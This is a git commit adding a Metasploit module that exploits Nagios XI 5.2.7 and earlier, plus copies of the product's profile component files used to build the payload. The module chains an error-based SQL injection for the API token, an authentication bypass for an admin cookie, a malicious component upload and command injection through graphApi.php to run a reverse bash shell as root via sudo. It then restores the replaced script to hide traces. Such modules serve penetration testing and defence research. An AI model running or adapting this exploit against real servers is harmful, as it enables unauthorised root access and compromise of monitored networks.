Add Nagios XI exploit

bug/bundler_fix
William Vu 2016-06-23 00:39:55 -05:00
parent fd07da3519
commit 5f08591fef
6 changed files with 723 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,9 @@
02-19-2013 1.2
------------
- Added New functionality to download LOG files and latest snapshots in a zip for support. - SL
- Added ps -aef to the log list - SL
08-28-2012 1.1
----------
- Added XI Version -SW

View File

@ -0,0 +1,64 @@
#!/bin/bash
echo "-------------------Fetching Information-------------------"
echo "Please wait......."
tail -100 /usr/local/nagios/var/nagios.log &> /usr/local/nagiosxi/var/components/profile/nagios.txt;
echo "Creating nagios.txt...";
tail -100 /usr/local/nagios/var/perfdata.log &> /usr/local/nagiosxi/var/components/profile/perfdata.txt;
echo "Creating perfdata.txt...";
tail -100 /usr/local/nagios/var/npcd.log &> /usr/local/nagiosxi/var/components/profile/npcd.txt;
echo "Creating npcd.txt...";
tail -100 /usr/local/nagiosxi/var/cmdsubsys.log > /usr/local/nagiosxi/var/components/profile/cmdsubsys.txt;
echo "Creating cmdsubsys.txt...";
tail -100 /usr/local/nagiosxi/var/eventman.log > /usr/local/nagiosxi/var/components/profile/eventman.txt;
echo "Creating eventman.txt...";
############ We'll need a sudoers rule for these, only root can read them
#tail -100 /var/log/messages > /usr/local/nagiosxi/var/components/profile/systemlog.txt;
#echo "Creating systemlog.txt...";
#tail -100 /var/log/httpd/error_log > /usr/local/nagiosxi/var/components/profile/apacheerrors.txt;
#echo "Creating apacheerrors.txt...";
#tail -100 /var/log/mysqld.log > /usr/local/nagiosxi/var/components/profile/mysqllog.txt;
#echo "Creating mysqllog.txt...";
df -h > /usr/local/nagiosxi/var/components/profile/filesystem.txt;
echo "Creating filesystem.txt...";
ps -aef > /usr/local/nagiosxi/var/components/profile/psaef.txt;
echo "Dumping PS - AEF to psaef.txt...";
top -b -n 1 > /usr/local/nagiosxi/var/components/profile/top.txt;
echo "Creating top log...";
FILE=$(ls /usr/local/nagiosxi/nom/checkpoints/nagioscore/ | sort -n -t _ -k 2 | grep .gz | tail -1); cp /usr/local/nagiosxi/nom/checkpoints/nagioscore/$FILE /usr/local/nagiosxi/var/components/profile/;
echo "Adding latest snapshot to: `pwd`"
## temporarily change to that directory, zip, then leave
(
cd /usr/local/nagiosxi/var/components/ && zip -r profile.zip profile
)
echo "Zipping logs directory...";
echo "Backup and Zip complete!";

View File

@ -0,0 +1,106 @@
<?php
// MASS ACKNOWLEDGE COMPONENT
//
// Copyright (c) 2010 Nagios Enterprises, LLC. All rights reserved.
//
// $Id: profile.inc.php 115 2010-08-16 16:15:26Z mguthrie $
//include the helper file
require_once(dirname(__FILE__).'/../componenthelper.inc.php');
// respect the name
$profile_component_name="profile";
// run the initialization function
profile_component_init();
////////////////////////////////////////////////////////////////////////
// COMPONENT INIT FUNCTIONS
////////////////////////////////////////////////////////////////////////
function profile_component_init(){
global $profile_component_name;
//boolean to check for latest version
$versionok=profile_component_checkversion();
//component description
$desc=gettext("This component creates a system profile menu in the Admin panel
which can be used for troubleshooting purposes.");
if(!$versionok)
$desc="<b>".gettext("Error: This component requires Nagios XI 20011R1.1 or later.")."</b>";
//all components require a few arguments to be initialized correctly.
$args=array(
// need a name
COMPONENT_NAME => $profile_component_name,
COMPONENT_VERSION => '1.1',
COMPONENT_DATE => '8/28/2012',
// informative information
COMPONENT_AUTHOR => "Nagios Enterprises, LLC",
COMPONENT_DESCRIPTION => $desc,
COMPONENT_TITLE => "System Profile",
);
//register this component with XI
register_component($profile_component_name,$args);
// register the addmenu function
if($versionok)
register_callback(CALLBACK_MENUS_INITIALIZED,'profile_component_addmenu');
}
///////////////////////////////////////////////////////////////////////////////////////////
// MISC FUNCTIONS
///////////////////////////////////////////////////////////////////////////////////////////
function profile_component_checkversion(){
if(!function_exists('get_product_release'))
return false;
//requires greater than 2011R1
if(get_product_release()<201)
return false;
return true;
}
function profile_component_addmenu($arg=null){
global $profile_component_name;
//retrieve the URL for this component
$urlbase=get_component_url_base($profile_component_name);
//figure out where I'm going on the menu
$mi=find_menu_item(MENU_ADMIN,"menu-admin-managesystemconfig","id");
if($mi==null) //bail if I didn't find the above menu item
return;
$order=grab_array_var($mi,"order",""); //extract this variable from the $mi array
if($order=="")
return;
$neworder=$order+0.1; //determine my menu order
//add this to the main home menu
add_menu_item(MENU_ADMIN,array(
"type" => "link",
"title" => "System Profile",
"id" => "menu-admin-profile",
"order" => $neworder,
"opts" => array(
//this is the page the menu will actually point to.
//all of my actual component workings will happen on this script
"href" => $urlbase."/profile.php",
)
));
}
?>

View File

@ -0,0 +1,298 @@
<?php
//
// Copyright (c) 2008-2009 Nagios Enterprises, LLC. All rights reserved.
//
// $Id: globalconfig.php 319 2010-09-24 19:18:25Z egalstad $
//ob_start();
require_once(dirname(__FILE__).'/../componenthelper.inc.php');
// initialization stuff
pre_init();
// start session
init_session();
// grab GET or POST variables
grab_request_vars();
// check prereqs
check_prereqs();
// check authentication
check_authentication(false);
// only admins can access this page
if(is_admin()==false){
$content .= $lstr['NotAuthorizedErrorText'];
exit();
}
//display system profile
$text = grab_request_var('savetext',false);
show_profile($text);
$content = '';
function show_profile($text = false) {
global $content;
if($text) {
////////////////////System Logs / Snapshot Dump////////////
get_logs_and_snapshot();
/*
header("Content-Disposition: attachment; filename=profile.txt");
header("Content-Type: text/plain");
//set header type as a text download
$content .= "===Nagios XI Installation Profile===\n\n";
*/
}
else {
do_page_start(null,true);
build_profile_output($text);
//close page
if(!$text) {
echo nl2br($content);
do_page_end(true);
}
else {
//str_replace <hx> tags with newlines
$tags = array('<h4>','</h4>','<h5>','</h5>','<pre>','</pre>');
$nls = array("\n====","====\n\n","\n===","====\n\n","\n\n","\n\n");
$content= str_replace($tags,$nls,$content);
//return $content;
}
}
}
function build_profile_output($text) {
global $content;
$content .= "<h3>Nagios XI Installation Profile</h3>";
if(!$text) {
$content .=" <div style='width:150px; height:19px; float:right;' class='bluebutton'>";
$content .=" <a href='{$_SERVER['PHP_SELF']}?savetext=true'>Download Profile</a>";
$content .=" </div>";
}
//SYSTEM
show_system_settings();
//SERVER INFO
show_apache_settings();
//TIME STUFF
show_time_settings();
//XI Specific Data
show_xi_info();
//subsystem calls
run_subsystem_tests();
}
function show_system_settings() {
global $content;
$profile = php_uname('n');
$profile .= ' '.php_uname('r');
$profile .= ' '.php_uname('m');
exec('which gnome-session',$output,$gnome);
$content .= "<h5>System:</h5>";
$content .= "Nagios XI Version : ".get_product_version()."\n";
$content .= "$profile\n";
//detect distro and version
$file = @file_get_contents('/etc/redhat-release');
if(!$file)
$file = @file_get_contents('/etc/fedora-release');
if(!$file)
$file = @file_get_contents('/etc/lsb-release');
$content .= $file;
$content .= ($gnome > 0) ? "Gnome is not installed\n" : " Gnome Installed\n";
if(check_for_proxy()) $content.= "Proxy appears to be in use\n";
}
function show_apache_settings()
{
global $content;
$content .= "<h5>Apache Information</h5>";
$content .= "PHP Version: ".PHP_VERSION."\n";
$content .= "Agent: ".$_SERVER['HTTP_USER_AGENT']."\n";
$content .= "Server Name: ".$_SERVER['SERVER_NAME']."\n";
$content .= "Server Address: ".$_SERVER['SERVER_ADDR']."\n";
$content .= "Server Port: ".$_SERVER['SERVER_PORT']."\n";
}
function show_time_settings() {
global $content;
$php_tz = (ini_get('date.timezone') == '') ? 'Not set' : ini_get('date.timezone');
$content .= "<h5>Date/Time</h5>";
$content .= "PHP Timezone: $php_tz \n";
$content .= "PHP Time: ".date('r')."\n";
$content .= "System Time: ".exec('/bin/date -R')."\n";
}
function show_xi_info() {
global $content;
//systats
$xml = get_xml_sysstat_data();
$statdata = '';
//daemons
foreach($xml->daemons->daemon as $d) {
$statdata .= "{$d->output}\n";
}
//hostcount
$result = (exec_sql_query(DB_NDOUTILS,"SELECT COUNT(*) FROM nagios_hosts"));
foreach($result as $r) $hostcount = $r[0];
//servicecount
$result = exec_sql_query(DB_NDOUTILS,"SELECT COUNT(*) FROM nagios_services");
foreach($result as $r) $servicecount = $r[0];
//add to statdata string
$statdata .= "CPU Load 15: {$xml->load->load15} \n";
$statdata .= "Total Hosts: $hostcount \n";
$statdata .= "Total Services: $servicecount \n";
//content output
$content .= "<h5>Nagios XI Data</h5>";
$content .= $statdata;
//url reference calls
$content .= "Function 'get_base_uri' returns: ".get_base_uri()."\n";
$content .= "Function 'get_base_url' returns: ".get_base_url()."\n";
$content .= "Function 'get_backend_url(internal_call=false)' returns: ".get_backend_url(false)."\n";
$content .= "Function 'get_backend_url(internal_call=true)' returns: ".get_backend_url(true)."\n";
}
function check_for_proxy() {
$proxy = false;
$f = @fopen('/etc/wgetrc','r');
if($f) {
while(!feof($f)) {
$line = fgets($f);
if($line[0]=='#') continue;
if(strpos($line,'use_proxy = on')!==FALSE) {
$proxy = true;
break;
}
}
}
$proxy_env = exec('/bin/echo $http_proxy');
if(strlen($proxy_env > 0)) $proxy = true;
return $proxy;
}
function run_subsystem_tests() {
global $cfg;
global $content;
//localhost ping resolve
$content .= "<h5>Ping Test localhost</h5>";
$ping = '/bin/ping -c 3 localhost 2>&1';
$content .= "Running: <pre>$ping </pre>";
$handle = popen($ping,'r');
while(($buf = fgets($handle, 4096)) !=false)
$content .= $buf;
pclose($handle);
//get system info
$https=grab_array_var($cfg,"use_https",false);
$url=($https==true)?"https":"http";
//nagiosql resolve
$content .= "<h5>Test wget To locahost</h5>";
$url.="://localhost".$cfg['component_info']['nagiosql']['direct_url']."/index.php";
$content .= "WGET From URL: $url \n";
$content .= "Running: <pre>/usr/bin/wget $url </pre>";
$handle = popen("/usr/bin/wget ".$url.' -O /tmp/nagiosql_index.tmp 2>&1', 'r');
while(($buf = fgets($handle, 4096)) !=false)
$content .= $buf;
pclose($handle);
}
function get_logs_and_snapshot() {
global $content;
//zip logs, latest snapshot, df -h, and top
exec('/bin/mkdir -p /usr/local/nagiosxi/var/components/profile',$output,$code);
//dump existing profile into file
$profile = build_profile_output(true);
//str_replace <hx> tags with newlines
$tags = array('<h4>','</h4>','<h5>','</h5>','<pre>','</pre>');
$nls = array("\n====","====\n\n","\n===","====\n\n","\n\n","\n\n");
$content= str_replace($tags,$nls,$content);
file_put_contents('/usr/local/nagiosxi/var/components/profile/profile.txt',$profile);
//get logs and config snapshot
exec('./getprofile.sh',$output,$code);
//add sanity checking
if($code > 0 ) {
echo "PROFILE BUILD FAILED<br />\n";
echo array_dump($output); //dump output where newlines are html breaks
echo "CODE: $code<br />";
exit();
}
// zip was packaged, send it to user
$zip="/usr/local/nagiosxi/var/components/profile.zip";
//more sanity
if(!file_exists($zip)) {
echo "Failed to retrieve zip file!\n";
exit();
}
//chdir($dir);
$mime_type="application/zip";
header('Content-type: '.$mime_type);
header("Content-length: " . filesize($zip));
header('Content-Disposition: attachment; filename="'.basename($zip).'"');
$f = file_get_contents($zip,'rb');
//print binary output to browser
echo $f;
//remove zip
unlink($zip);
}
//ob_end_flush();
?>

View File

@ -0,0 +1,246 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits an SQL injection, auth bypass, file upload,
command injection, and privilege escalation in Nagios XI <= 5.2.7
to pop a root shell.
},
'Author' => [
'Francesco Oddo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['EDB', '39899']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
}
},
'Targets' => [
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LHOST' => Rex::Socket.source_address
}
))
end
def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/nagiosxi/'
)
return unless res && (html = res.get_html_document)
if (version = html.at('//input[@name = "version"]/@value'))
vprint_status("Nagios XI version: #{version}")
if Gem::Version.new(version) <= target[:version]
return CheckCode::Appears
end
end
CheckCode::Safe
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
end
print_status('Getting API token')
get_api_token
print_status('Getting admin cookie')
get_admin_cookie
print_status('Getting monitored host')
get_monitored_host
print_status('Uploading root shell')
upload_root_shell
print_status('Popping shell!')
pop_dat_shell
end
#
# Cleanup methods
#
def on_new_session(session)
super
print_status('Cleaning up...')
cleanup_commands.each do |command|
vprint_status(command)
session.shell_command_token(command)
end
end
def cleanup_commands
["base64 -d<<<#{encoded_getprofile}>../profile/getprofile.sh",
'touch -r ../profile/{profile.php,getprofile.sh}',
"rm -f ../../../../tmp/component-#{zip_filename}"]
end
#
# Exploit methods
#
def get_api_token
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
'vars_get' => {
'mode' => 'resolve',
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
'),FLOOR(RAND(0)*2))x ' \
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
}
)
if res && res.body =~ /Duplicate entry '(.*?).'/
@api_token = $1
vprint_good("API token: #{@api_token}")
else
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
end
end
def get_admin_cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/rr.php',
'vars_get' => {
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
Digest::MD5.hexdigest(@api_token)
}
)
if res && (@admin_cookie = res.get_cookies.split('; ').last)
vprint_good("Admin cookie: #{@admin_cookie}")
get_csrf_token(res.body)
else
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
end
end
def get_csrf_token(body)
if body =~ /nsp_str = "(.*?)"/
@csrf_token = $1
vprint_good("CSRF token: #{@csrf_token}")
else
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
end
end
def get_monitored_host
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/ajaxhelper.php',
'cookie' => @admin_cookie,
'vars_get' => {
'cmd' => 'getxicoreajax',
'opts' => '{"func":"get_hoststatus_table"}',
'nsp' => @csrf_token
}
)
return unless res && (html = res.get_html_document)
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
vprint_good("Monitored host: #{@monitored_host}")
else
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
end
end
def upload_root_shell
res = send_request_cgi!(
'method' => 'POST',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'ctype' => "multipart/form-data; boundary=#{mime_message.bound}",
'data' => mime_message.to_s
)
if res && res.code != 200
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
vprint_warning('Nagios XI not configured')
else
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
end
end
end
def mime_message
@mime ||= Rex::MIME::Message.new
@mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
@mime.add_part('1', nil, nil, 'form-data; name="upload"')
@mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
@mime.add_part(payload_zip, 'application/zip', 'binary',
'form-data; name="uploadedfile"; ' \
"filename=\"#{zip_filename}\"")
@mime
end
def payload_zip
zip = Rex::Zip::Archive.new
zip.add_r(profile_dir)
zip.entries.delete_if { |e| e.name == 'profile/getprofile.sh' }
zip.add_file('profile/getprofile.sh', payload.encoded)
zip.pack
end
def pop_dat_shell
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
'cookie' => @admin_cookie,
'vars_get' => {
'host' => @monitored_host,
'end' => ';sudo ../profile/getprofile.sh #'
}
)
if res && res.code != 200
fail_with(Failure::PayloadFailed, 'Failed to execute root shell! punt!')
end
end
#
# Utility methods
#
def profile_dir
File.join(Msf::Config.data_directory, 'exploits', 'nagios_xi', 'profile')
end
def encoded_getprofile
Rex::Text.encode_base64(File.read(File.join(profile_dir, 'getprofile.sh')))
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end
end